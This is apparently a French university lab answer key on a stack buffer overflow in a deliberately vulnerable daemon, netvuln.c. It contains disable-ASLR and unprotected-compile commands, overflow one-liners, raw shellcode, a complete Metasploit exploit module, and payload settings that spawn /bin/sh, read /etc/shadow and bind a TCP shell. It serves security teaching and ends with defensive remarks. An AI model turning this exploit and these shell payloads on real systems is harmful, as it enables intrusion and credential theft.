TP 3 : Exploitation avec *Metasploit*(correction)

Romain CARRÉ
romain.carre@cea.fr

1 Environnement de travail

– installez Metasploit Community à l'aide de la procédure communiquée par mail

```
sudo ./metasploit-installer.bin
```

– munissez-vous également d'un interpréteur de scripts comme `python` ou `perl`

```
sudo apt-get install python perl
```

– installez le client réseau `nc`. à quoi va-t-il nous servir ? comment l'utilise-t-on ?

```
sudo apt-get install nc
```

Il s'utilise avec `nc <addr> <port>`, et les données sont récupérées sur *stdin*.

– récupérez le fichier `netvuln.c` sur la clef USB de votre intervenant

```
cp /media/usb/netvuln.c ~/
```

– désactivez la randomisation d'adresses grâce à la commande suivante (en root) :

```
echo 0 > /proc/sys/kernel/randomize_va_space
```

2 Détection et première exploitation

– parcourez le code source de `netvuln.c`, et mettez en évidence la vulnérabilité
La vulnérabilité est un *buffer overflow* induit par l'usage de la fonction `read`.

– compilez le code en lançant ces deux commandes. expliquez chaque paramètre

```
gcc -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack netvuln.c
```

`-m32`	: compile et link pour une architecture 32 bits
`-fno-stack-protector`	: n'implémente pas de système de protection de pile
`-mpreferred-stack-boundary=2`	: alignement par défaut des données dans la pile
`-z execstack`	: marque la pile du binaire comme exécutable

– `gcc` vous prévient-il avec un *warning* comme dans le TP précédent ? pourquoi ?
Non, car `read` n'est pas considérée comme une fonction dangereuse.

– testez le programme normalement avec la commande suivante :

```
nc 127.0.0.1 11222
```

– vérifiez qu'il est vraiment vulnérable en provoquant une erreur de segmentation

```
python -c "print '-' * 100" | nc 127.0.0.1 11222
```

3 Exploitation *proof-of-concept*

– faites crasher le programme à nouveau, avec une entrée spécialement formatée pour déterminer la longueur du *payload* nécessaire à l'écrasement d'`eip`

```
python -c "print '-' * (64+4) + 'AAAA'" | nc 127.0.0.1 11222
```

– que pouvez-vous, au passage, en déduire sur la manière dont le compilateur a placé les variables locales sur la pile, par rapport à l'ordre dans lequel elles sont déclarées et initialisées dans le code source ? est-ce prédictible ?
Ca ne correspond pas ! Le compilateur est, selon la norme C, complètement libre de placer et d'aligner les variables locales comme il l'entend. De fait, cela dépend du compilateur. Et pour un compilateur donné, ce n'est pas nécessairement prédictible non plus. Il ne faut pas s'y fier pour écrire un exploit !
– formalisez la structure des données qu'il faudra donc envoyer au programme (on placera le shellcode à la fin du payload pour éviter les problèmes de taille) du padding sur 76 octets, l'adresse de la pile sur 4 octets, et le shellcode.
– en vous servant du TP précédent, faites en sorte que, suite à une exploitation réussie, le programme ne plante pas et retourne 42
On veut exécuter (à `0xd3a4 - 72 = 0xd35c`) :

```
6A 01 58   mov eax, 1    # syscall = exit ;
6A 2A 5B   mov ebx, 42   # status = 42 ;
CD 80      int 0x80      # return syscall(args) ;
```

```
python -c "print '\x6A\x01\x58\x6A\x2A\x5B\xCD\x80'.ljust(68,'\x90') + '\x5C\xD3\xFF\xFF'" | ./a.out
echo $?
42
```

4 Exploitation avec *Metasploit*

– en vous inspirant d'un module d'exploitation déjà écrit (vous les trouverez dans `apps/pro/msf3/modules/exploits`, en particulier d'autres bof pour linux), créez un fichier `~/.msf4/modules/exploits/netvuln_buffer_overflow.rb` qui servira à exploiter le programme `netvuln.c`. il devra contenir les en-têtes habituels pour un module d'exploitation *Metasploit*, et une implémentation de la fonction `exploit` (au minimum). pourquoi ne peut-on pas écrire de fonction `check` ?

```
##
# This module requires Metasploit :http//metasploit.com/download
# Current source :https ://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf : Exploit : Remote
  Rank = GreatRanking

  include Msf : Exploit : Remote : Tcp

  def initialize(info = {})
    super(update_info(info, {
        'Name'           => 'UVSQ service - Remote Stack Buffer Overflow',
        'Description'    => %q{
          This modules triggers a stack-based buffer overflow in the
          binary used in M2 Secrets UVSQ. For educational purpose only.
        },
        'License'        => MSF_LICENSE,
        'Author'         => [ 'Romain Carre' ],
        'References'     => [],
        'Platform'       => [ 'linux' ],
        'Arch'           => [ ARCH_X86 ],
        'Targets'        => [
            [ 'Linux x86 - Debian 7.7', { 'Arch' => ARCH_X86, 'Ret' => 0xffffd410 } ],
        ],
        'DefaultOptions' => { 'EXITFUNC' => 'process', },
        'Payload'        => {
            'Space'       => 400,
            'BadChars'    => '',
            'DisableNops' => true,
        },
        'DefaultTarget'  => 0,
        'Privileged'     => false,
      }
      ))
    register_options([
        Opt : RPORT(11222),
    ], self.class)
  end

  def exploit
    connect
    buf =  rand_text_alphanumeric(76) # buffer + EBP
    buf << [target['Ret']].pack('V*') # EIP
    buf << payload.encoded            # payload
    sock.put(buf)
    disconnect
  end

end
```

Si le programme est vulnérable, le tester va le crasher ! Du coup, autant essayer de l'exploiter du premier coup. S'il avait envoyé une bannière, on aurait éventuellement pu faire de la détection active, avec un numéro de version par exemple.

- lancez *Metasploit*, et chargez votre exploit avec la commande `use`

```
sudo msfconsole
use netvuln_bof_uvsq
```

- définissez les variables nécessaires à l'exploitation avec la commande `set`

```
set rhost 0.0.0.0
```

- choisissez l'encodeur `generic/none`. à quoi sert un encodeur ? dans un contexte `use payload`, générez un payload avec d'autres caractères interdits. jouez avec les différentes options de la sous-commande `generate`.

```
set encoder generic/none
```

Lors d'un appel à `strcpy`, la copie s'arrête au premier caractère nul rencontré. Le payload doit donc être encodé de façon à ne pas faire usage de caractère nul. On peut donc utiliser `generate -b '\x00'`.

- exploitez le binaire en lui faisant forker un shell avec le payload `linux/x86/exec`

```
set payload linux/x86/exec
set cmd /bin/sh
show options
```

- exploitez le binaire en lui faisant lire et afficher le fichier de votre choix avec le payload `linux/x86/read_file`. essayez de lire le fichier `/etc/shadow`. que remarquez-vous ? comment l'expliquer ?

```
set payload linux/x86/read_file
set fd 2
set path /etc/shadow
show options
```

Ca ne fonctionne pas, car l'exploit tourne en tant que simple utilisateur (comme le binaire vulnérable, c'est normal), et il faut disposer des droits *root* pour lire le fichier `/etc/shadow`. Sinon on lance le daemon netvuln en *root*, ca fonctionne. Voilà pourquoi un daemon qui ne droppe pas ses droits à l'exécution est particulièrement dangereux sur le système.

- exploitez le binaire en lui faisant binder un port avec un shell derrière, avec le payload `linux/x86/shell_bind_tcp`. expliquez la différence en terme d'exploitation pour un attaquant. selon vous, est-il toujours possible d'exploiter un binaire de cette façon en pratique ? comment y remédiriez-vous dans ce cas ?

```
set payload linux/x86/shell_bind_tcp
show options
```

Là l'attaquant dispose d'un shell, et peut donc directement voir les résultats en interactif. Si le daemon vulnérable est derrière un pare-feu, il faut que le port sur lequel est bindé le shell soit ouvert. Sinon, le flux utilisé pour l'exploit sera fermé, et l'exploitation sera impossible. Si en revanche on connait un flux ouvert (comme un flux web par exemple), on peut établir une connexion dans l'autre sens, à savoir à l'initiative de la victime, c'est ce qu'on appelle le reverse TCP.

- jouez un peu avec différents payloads, différents encodeurs
- faites tourner le daemon vulnérable sous l'identité d'un compte utilisateur spécifique et non privilégié, et exploitez les binaires de vos camarades à travers le réseau.

Question subsidiaire : en tant qu'administrateur éclairé, quels mécanismes mettriez-vous en place pour limiter les conséquences d'une exploitation sur votre machine ?
Eh bien du *containment* pardi !